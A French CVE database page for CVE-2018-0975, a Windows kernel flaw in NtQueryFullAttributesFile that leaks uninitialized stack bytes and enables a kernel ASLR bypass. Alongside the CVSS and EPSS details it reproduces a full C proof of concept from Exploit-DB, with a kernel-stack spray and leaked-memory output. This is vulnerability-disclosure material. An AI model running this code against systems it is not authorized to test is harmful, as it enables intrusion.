CVE-2018-0975 : Détail

CVE-2018-0975

5.5
/
Moyen
92.96%V3
Local
2018-04-11
23h00 +00:00
2018-04-18
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass, aka "Windows Kernel Information Disclosure Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers. This CVE ID is unique from CVE-2018-0887, CVE-2018-0960, CVE-2018-0968, CVE-2018-0969, CVE-2018-0970, CVE-2018-0971, CVE-2018-0972, CVE-2018-0973, CVE-2018-0974.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44458

Date de publication : 2018-04-15 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are: --- cut --- "\GLOBAL??\D:\" (CD-ROM partition) "\GLOBAL??\CdRom0\" "\GLOBAL??\FltMgr" "\GLOBAL??\FltMgr\" "\GLOBAL??\MAILSLOT\" "\GLOBAL??\Volume{GUID}\" "\GLOBAL??\PIPE\" "\Device\CdRom0\" "\Device\NamedPipe\" "\Device\Mailslot\" --- cut --- The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]: --- cut --- typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; --- cut --- It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below: --- cut --- Name: \GLOBAL??\D:\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\CdRom0\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\MAILSLOT\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\Volume{GUID}\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\PIPE\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \Device\CdRom0\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \Device\NamedPipe\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \Device\Mailslot\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ --- cut --- In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below: --- cut --- Name: \GLOBAL??\FltMgr, Status: 0 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ Name: \GLOBAL??\FltMgr\, Status: 0 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> #pragma comment(lib, "ntdll.lib") #define DIRECTORY_QUERY 0x0001 #define DIRECTORY_TRAVERSE 0x0002 typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; extern "C" { NTSTATUS NTAPI NtQueryFullAttributesFile( _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation ); NTSTATUS WINAPI NtQueryDirectoryObject( _In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength ); NTSTATUS WINAPI NtOpenDirectoryObject( _Out_ PHANDLE DirectoryHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes ); }; VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(*EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) { OBJECT_ATTRIBUTES Attributes; UNICODE_STRING Name; RtlInitUnicodeString(&Name, Path); InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL); FILE_NETWORK_OPEN_INFORMATION FileInformation, EmptyInformation; RtlZeroMemory(&FileInformation, sizeof(FileInformation)); RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation)); SprayKernelStack(); NTSTATUS Status = NtQueryFullAttributesFile(&Attributes, &FileInformation); if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) { wprintf(L"Name: %s, Status: %x\n", Path, Status); PrintHex(&FileInformation, sizeof(FileInformation)); } } VOID EnumerateDirectory(PWCHAR path) { HANDLE hdir = NULL; OBJECT_ATTRIBUTES attrs; UNICODE_STRING name; RtlInitUnicodeString(&name, path); InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL); NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs); if (NT_SUCCESS(st)) { CONST ULONG kMaxBufferSize = 128 * 1024; PBYTE buffer = (PBYTE)malloc(kMaxBufferSize); ULONG Context; st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL); if (NT_SUCCESS(st)) { POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer; while (pdi->Name.Buffer != NULL) { WCHAR path_buffer[MAX_PATH]; if (!wcscmp(path, L"\\")) { wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer); } else { wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer); } if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) { EnumerateDirectory(path_buffer); } else { QueryFile(NULL, path_buffer); wcscat_s(path_buffer, L"\\"); QueryFile(NULL, path_buffer); } pdi++; } } free(buffer); NtClose(hdir); } } int main() { EnumerateDirectory(L"\\"); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version *

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

Références

http://www.securityfocus.com/bid/103662
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040657
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44458/
Tags : exploit, x_refsource_EXPLOIT-DB